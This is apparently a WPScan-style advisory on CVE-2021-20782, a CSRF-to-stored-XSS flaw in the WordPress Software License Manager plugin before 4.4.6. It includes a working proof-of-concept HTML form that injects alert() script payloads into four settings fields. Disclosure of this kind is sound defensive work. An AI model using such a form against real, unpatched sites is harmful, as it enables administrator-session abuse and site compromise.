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WordPress Plugin Vulnerabilities

Software License Manager < 4.4.6 - CSRF to Stored XSS

Description

The plugin did not have CSRF check on its settings page, nor sanitisation when outputting user input back. Attackers could make a logged in administrator change the plugin's settings, and put XSS payload in them.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp_lic_mgr_settings" method="POST">
      <input type="hidden" name="lic_creation_secret" value='"><script>alert(/XSS-1/)</script>' />
      <input type="hidden" name="lic_verification_secret" value='"><script>alert(/XSS-2/)</script>' />
      <input type="hidden" name="lic_prefix" value='"><script>alert(/XSS-3/)</script>' />
      <input type="hidden" name="default_max_domains" value='"><script>alert(/XSS-4/)</script>' />
      <input type="hidden" name="slm_save_settings" value=" Update Options" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 

Affects Plugins

software-license-manager
Fixed in version 4.4.6

References

CVE
CVE-2021-20782
URL
https://plugins.trac.wordpress.org/changeset/2520250/
URL
https://jvn.jp/en/jp/JVN89054582/

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Koken Tokuda

Verified

Yes

WPVDB ID
578ba085-6cb8-4205-9884-5829cfafe0de

Timeline

Publicly Published

2021-04-23 (about 1 years ago)

Added

2021-04-23 (about 1 years ago)

Last Updated

2022-03-05 (about 11 months ago)

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